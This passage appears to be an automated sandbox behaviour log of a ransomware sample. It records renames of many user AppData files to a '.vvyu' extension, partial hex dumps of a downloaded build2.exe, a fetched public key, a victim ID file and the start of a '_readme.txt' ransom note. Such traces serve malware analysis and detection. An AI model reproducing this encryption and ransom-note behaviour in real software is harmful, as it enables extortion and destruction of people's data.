y.IE5\MSHist012020093020201001
\container.dat

C:\Users\user\Local Settings\H
istory\History.IE5\MSHist01202
0093020201001\container.dat.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\History\Low\Hi
story.IE5\container.dat

C:\Users\user\Local Settings\History\Low\History.IE5\contain
er.dat.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v2.0_32\UsageLogs\
unarchiver.exe.log

C:\Users\user\Local Settings\M
icrosoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0\UsageLogs\NGe
nTask.exe.log

C:\Users\user\Local Settings\M
icrosoft\CLR_v4.0\UsageLogs\NGenTask.exe.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0\UsageLogs\pow
ershell.exe.log

C:\Users\user\Local Settings\M
icrosoft\CLR_v4.0\UsageLogs\powershell.exe.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0\UsageLogs\sdi
agnhost.exe.log

C:\Users\user\Local Settings\M
icrosoft\CLR_v4.0\UsageLogs\sdiagnhost.exe.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\UsageLogs\
NGenTask.exe.log

C:\Users\user\Local Settings\M
icrosoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\CLR_v4.0_32\UsageLogs\
powershell.exe.log

C:\Users\user\Local Settings\M
icrosoft\CLR_v4.0_32\UsageLogs\powershell.exe.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\DOMS
tore\container.dat

C:\Users\user\Local Settings\Microsoft\Internet 
Explorer\DOMStore\container.dat.vvyu

success or wait 1 41127D MoveFileW
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C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\Emie
SiteList\container.dat

C:\Users\user\Local Settings\Microsoft\Internet Explorer\Emi
eSiteList\container.dat.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\Emie
UserList\container.dat

C:\Users\user\Local Settings\Microsoft\Internet Explorer\Emi
eUserList\container.dat.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\IECo
mpatData\iecompatdata.xml

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IEC
ompatData\iecompatdata.xml.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\UrlB
lock\urlblock_637194112741176080.bin

C:\Users\user\Local Settings\Microsoft\Internet Explorer\Url
Block\urlblock_637194112741176080.bin.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Internet Explorer\Vers
ionManager\versionlist.xml

C:\Users\user\Local Settings\Microsoft\Internet Explorer\Ver
sionManager\versionlist.xml.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-
100.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.contrast-
black_scale-100.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-
125.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.contrast-
black_scale-125.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-
150.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.contrast-
black_scale-150.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-
200.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.contrast-
black_scale-200.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-
400.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.contrast-
black_scale-400.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-
100.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.contrast-
white_scale-100.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-
125.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.contrast-
white_scale-125.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-
150.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.contrast-
white_scale-150.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-
200.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.contrast-
white_scale-200.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-
400.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.contrast-
white_scale-400.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.scale-100.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.scale-
100.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.scale-125.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.scale-
125.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.scale-150.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.scale-
150.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.scale-200.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.scale-
200.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveMedTile.scale-400.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveMedTile.scale-
400.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-
100.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-
black_scale-100.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-
125.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-
black_scale-125.png.vvyu

success or wait 1 4116DC MoveFileW
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C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-
150.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-
black_scale-150.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-
200.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-
black_scale-200.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-black_scale-
400.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-
black_scale-400.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-
100.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-
white_scale-100.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-
125.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-
white_scale-125.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-
150.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-
white_scale-150.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-
200.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-
white_scale-200.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.contrast-white_scale-
400.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-
white_scale-400.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-100.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.scale-
100.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-125.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.scale-
125.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-150.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.scale-
150.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-200.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.scale-
200.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\LogoImages\On
eDriveSmallTile.scale-400.png

C:\Users\user\Local Settings\M
icrosoft\OneDrive\LogoImages\OneDriveSmallTile.scale-
400.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\OneDrive\setup\ECSConfig.json

C:\Users\user\Local Settings\M
icrosoft\OneDrive\setup\ECSConfig.json.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\TokenBroker\Cache\5475
cb191e478c39370a215b2da98a37e9
dc813d.tbres

C:\Users\user\Local Settings\M
icrosoft\TokenBroker\Cache\547
5cb191e478c39370a215b2da98a37e9dc813d.tbres.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Vault\4BF4C442-9B8A-41A0-
B380-DD4A704DDB28\Policy.vpol

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-
9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Vault\UserProfileRoami
ng\Latest.dat

C:\Users\user\Local Settings\M
icrosoft\Vault\UserProfileRoaming\Latest.dat.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\1033\Structure
dQuerySchema.bin

C:\Users\user\Local Settings\M
icrosoft\Windows\1033\StructuredQuerySchema.bin.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\ActionCenterCa
che\windows-systemtoast-securi
tyandmaintenance_29_0.png

C:\Users\user\Local Settings\M
icrosoft\Windows\ActionCenterCache\windows-systemtoast-
securityandmaintenance_29_0.png.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\AppCache\conta
iner.dat

C:\Users\user\Local Settings\M
icrosoft\Windows\AppCache\container.dat.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Caches\cversions.1.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Caches\cversions.1.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Caches\cversions.3.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Caches\cversions.3.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Caches\{278F5142-
B905-4D30-88C9-B63C603DA134
}.3.ver0x0000000000000001.db

C:\Users\user\Local Settings\Microsoft\Windows\Caches\
{278F5142-B905-4D30-88C9-B63C603DA13
4}.3.ver0x0000000000000001.db.vvyu

success or wait 1 4116DC MoveFileW
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\Caches\{3DA71D5A-
20CC-432F-A115-DFE92379E91F
}.3.ver0x0000000000000013.db

C:\Users\user\Local Settings\Microsoft\Windows\Caches\
{3DA71D5A-20CC-432F-A115-DFE92379E91
F}.3.ver0x0000000000000013.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Caches\{3DA71D5A-
20CC-432F-A115-DFE92379E91F
}.3.ver0x0000000000000015.db

C:\Users\user\Local Settings\Microsoft\Windows\Caches\
{3DA71D5A-20CC-432F-A115-DFE92379E91
F}.3.ver0x0000000000000015.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Caches\{AFBF9F1A-
8EE8-4C77-AF34-C647E37CA0D9
}.1.ver0x0000000000000007.db

C:\Users\user\Local Settings\Microsoft\Windows\Caches\
{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D
9}.1.ver0x0000000000000007.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Caches\{AFBF9F1A-
8EE8-4C77-AF34-C647E37CA0D9
}.1.ver0x0000000000000008.db

C:\Users\user\Local Settings\Microsoft\Windows\Caches\
{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D
9}.1.ver0x0000000000000008.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\Explo
rerStartupLog.etl

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\ExplorerStartupLog.etl.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\Explo
rerStartupLog_RunOnce.etl

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\Expl
orerStartupLog_RunOnce.etl.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\iconc
ache_1280.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\iconcache_1280.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\iconc
ache_1920.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\iconcache_1920.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\iconc
ache_2560.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\iconcache_2560.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\iconc
ache_768.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\iconcache_768.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\iconc
ache_96.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\iconcache_96.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\iconc
ache_custom_stream.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\icon
cache_custom_stream.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\iconc
ache_exif.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\iconcache_exif.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\iconc
ache_sr.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\iconcache_sr.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\iconc
ache_wide.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\iconcache_wide.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\iconc
ache_wide_alternate.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\iconcache_wide_alternate.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_1280.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thumbcache_1280.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_16.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thumbcache_16.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_1920.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thumbcache_1920.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_2560.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thumbcache_2560.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_768.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thumbcache_768.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_96.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thumbcache_96.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_custom_stream.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thum
bcache_custom_stream.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_exif.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thumbcache_exif.db.vvyu

success or wait 1 4116DC MoveFileW
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_sr.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thumbcache_sr.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_wide.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thumbcache_wide.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Explorer\thumb
cache_wide_alternate.db

C:\Users\user\Local Settings\M
icrosoft\Windows\Explorer\thum
bcache_wide_alternate.db.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\IECompatCache\
container.dat

C:\Users\user\Local Settings\M
icrosoft\Windows\IECompatCache\container.dat.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\IECompatUaCach
e\container.dat

C:\Users\user\Local Settings\M
icrosoft\Windows\IECompatUaCache\container.dat.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\IEDownloadHist
ory\container.dat

C:\Users\user\Local Settings\M
icrosoft\Windows\IEDownloadHistory\container.dat.vvyu

success or wait 1 41127D MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Shell\DefaultL
ayouts.xml

C:\Users\user\Local Settings\Microsoft\Windows\Shell\Default
Layouts.xml.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\UPPS\UPPS.bin

C:\Users\user\Local Settings\M
icrosoft\Windows\UPPS\UPPS.bin.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\WebCache\V01.chk

C:\Users\user\Local Settings\M
icrosoft\Windows\WebCache\V01.chk.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\WebCache\V0100
00B.log

C:\Users\user\Local Settings\M
icrosoft\Windows\WebCache\V010000B.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\WebCache\V0100
00C.log

C:\Users\user\Local Settings\M
icrosoft\Windows\WebCache\V010000C.log.vvyu

success or wait 1 4116DC MoveFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\WebCache\V0100
00D.log

C:\Users\user\Local Settings\M
icrosoft\Windows\WebCache\V010000D.log.vvyu

success or wait 1 4116DC MoveFileW
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unknown unkno
wn

46 invalid handle 1 42E51E WriteFile

unknown unkno
wn

2 invalid handle 1 42E51E WriteFile

C:\Users\user\AppData\Local\0c
a24ce5-0f24-4ca6-b87c-11cb4190
6c23\build2.exe

0 10240 4d 5a fd 00 03 00 00 00 
04 00 00 00 fd fd 00 00 fd 
00 00 00 00 00 00 00 40 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 fd 00 00 00 0e 
1f fd 0e 00 fd 09 fd 21 fd 
01 4c fd 21 54 68 69 73 
20 70 72 6f 67 72 61 6d 
20 63 61 6e 6e 6f 74 20 
62 65 20 72 75 6e 20 69 
6e 20 44 4f 53 20 6d 6f 
64 65 2e 0d 0d 0a 24 00 
00 00 00 00 00 00 fd 40 
7c 08 fd 21 12 5b fd 21 
12 5b fd 21 12 5b fd 73 fd 
5b fd 21 12 5b fd 73 fd 5b 
5b 21 12 5b fd fd 69 5b fd 
21 12 5b fd 21 13 5b 02 
21 12 5b fd 73 fd 5b fd 21 
12 5b fd 73 fd 5b fd 21 12 
5b fd 73 fd 5b fd 21 12 5b 
52 69 63 68 fd 21 12 5b 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
50 45 00 00 4c 01 06 00 
fd fd fd 61 00 00 00 00 00 
00 00 00 fd 00 03 

MZ@!L!This program 
cannot be run in DOS 
mode.$@|![![![s[![s[[![i[![![!
[s[![s[![s[![Rich![PELa

success or wait 44 41E301 WriteFile

File Written
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\IE\6
M6D1PMD\get[1].htm

0 562 7b 22 70 75 62 6c 69 63 
5f 6b 65 79 22 3a 22 2d 
2d 2d 2d 2d 42 45 47 49 
4e 26 23 31 36 30 3b 50 
55 42 4c 49 43 26 23 31 
36 30 3b 4b 45 59 2d 2d 
2d 2d 2d 5c 5c 6e 4d 49 
49 42 49 6a 41 4e 42 67 
6b 71 68 6b 69 47 39 77 
30 42 41 51 45 46 41 41 
4f 43 41 51 38 41 4d 49 
49 42 43 67 4b 43 41 51 
45 41 70 54 31 4e 50 67 
53 79 52 69 75 36 45 6a 
2b 41 52 7a 72 79 5c 5c 
6e 4e 39 50 42 69 50 65 
41 34 57 5a 6d 6d 57 5a 
32 67 77 58 4c 4b 74 6b 
47 77 6f 47 61 66 79 36 
69 7a 6b 73 66 71 6f 4f 
5a 43 54 73 5c 2f 64 30 
78 5a 61 33 69 4f 34 6c 
34 73 52 62 70 54 74 44 
68 6e 5c 5c 6e 41 58 35 
4f 50 44 58 64 42 68 4c 
46 6f 5a 6c 71 54 38 53 
31 54 55 4a 4a 50 5a 5c 
2f 70 37 51 6f 52 44 54 6f 
31 67 43 64 35 55 53 58 
33 35 43 77 51 78 4f 4e 
46 54 76 6d 72 38 45 6d 
6c 35 49 4f 52 5c 

{"public_key":"-----
BEGIN&#160
;PUBLIC&#160;KEY-----
\\nMIIBIj
ANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIB
CgKCAQEApT1NPgSyRi
u6Ej+ARzry\\
nN9PBiPeA4WZmmWZ2
gwXLKtkGwoGaf
y6izksfqoOZCTs\/d0xZa3
iO4l4sRb
pTtDhn\\nAX5OPDXdBh
LFoZlqT8S1T
UJJPZ\/p7QoRDTo1gCd
5USX35CwQxO
NFTvmr8Eml5IOR\

success or wait 1 41E975 InternetReadFile

C:\Users\user\AppData\Local\bo
wsakkdestx.txt

0 562 7b 22 70 75 62 fd 6a fd fd 
72 7d 2f 26 06 fd fd 16 6c 
35 13 fd fd fd fd 2c fd 67 
3b fd fd 10 fd fd 01 fd 22 
49 4e 1f fd fd 75 fd 4f 74 
75 fd fd fd fd 06 30 fd 79 
fd 0e fd fd 08 fd 1b fd 6d 
2c 32 fd 4e 4d fd fd 59 76 
5a fd 54 5c ed 25 fd fd fd 
77 41 25 04 2e fd fd 47 
76 62 17 fd fd 63 47 59 fd 
77 fd 0b 00 2e fd 04 5b fd 
fd 46 fd 88 3e 2b fd 4a 5b 
fd fd 0f 0a fd 75 fd 1e fd 
fd fd 4b ab fd fd fd 32 0d 
1b fd fd 53 fd d6 fd 75 fd 
92 fd fd 3e 08 38 74 fd 38 
4a fd d5 42 02 07 fd 4c 
25 fd 6b 11 2b 27 fd 5e fd 
6f 69 1a 39 63 32 fd 7b 
21 4f fd fd 04 16 fd 26 44 
03 fd fd 13 26 69 fd 36 6d 
7f 07 5c fd fd 62 fd 4b fd 
e5 fd 06 76 fd 11 05 fd 48 
fd 1b 6f fd 02 fd 2b 47 fd 
08 03 5a 5a 63 3e 11 21 
fd 43 6a 49 fd fd fd 5b fd 
21 37 

{"pubjr}/&l5,;"INuOtu0ym,
2NMYv
ZT\%A%.GvbcGYw.
[F>+J[uK2Su>8t8
JBL%k+'^oi9c2{!O&D&i6
m\bKvHo+GZZc>!CjI[!7

success or wait 1 42E51E WriteFile

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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C:\Users\user\AppData\Local\Mi
crosoft\Windows\INetCache\IE\6
M6D1PMD\build2[1].exe

40960 10240 fd fd 55 fd fd fd 38 53 fd 
7d 08 23 01 00 00 75 14 
fd fd fd 40 00 fd 4d 0c fd 
01 fd 01 00 00 00 fd fd 00 
00 00 fd 45 fd 00 00 00 
00 fd 45 fd fd 40 00 fd fd 
fd 45 00 fd 4d fd 33 fd fd 
45 fd fd 55 18 fd 55 fd 45 
0c fd 45 fd 4d 1c fd 4d fd 
55 20 fd 55 fd fd 45 fd 00 
00 00 00 fd 45 fd 00 00 
00 00 fd 45 fd 00 00 00 
00 fd 65 fd 6d fd 64 fd 00 
00 00 00 fd 45 0d 45 fd 
64 fd 00 00 00 00 fd 45 fd 
01 00 00 00 fd 45 08 fd 
45 0b 4d 10 fd 4d fd 95 
00 00 fd fd fd 00 00 00 fd 
55 0d 45 fd 50 fd 4d 08 fd 
11 52 fd 55 03 fd 08 fd 45 
fd 00 00 00 00 fd 7d fd 00 
74 17 64 fd 1d 00 00 00 
00 fd 03 fd 5d 09 03 64 fd 
1d 00 00 00 00 fd 09 fd 
45 fd 64 fd 00 00 00 00 fd 
45 fd 5b fd fd 5d fd fd fd 
fd 0b fd 55 fd fd 51 53 fd 
fd 45 0c fd 48 08 33 

U8S}#u@MEE@EM3EU
UEEMMU UEEEemd
EEdEEEMMUEPMRUE}t
d]dEdE[]UQSEH3

success or wait 22 41E2CD InternetReadFile

C:\SystemID\PersonalID.txt 0 42 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 
0d 0a 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 42E51E WriteFile

C:\_readme.txt 0 1116 41 54 54 45 4e 54 49 4f 
4e 21 0d 0a 0d 0a 44 6f 
6e 27 74 20 77 6f 72 72 
79 2c 20 79 6f 75 20 63 
61 6e 20 72 65 74 75 72 
6e 20 61 6c 6c 20 79 6f 
75 72 20 66 69 6c 65 73 
21 0d 0a 41 6c 6c 20 79 
6f 75 72 20 66 69 6c 65 
73 20 6c 69 6b 65 20 70 
69 63 74 75 72 65 73 2c 
20 64 61 74 61 62 61 73 
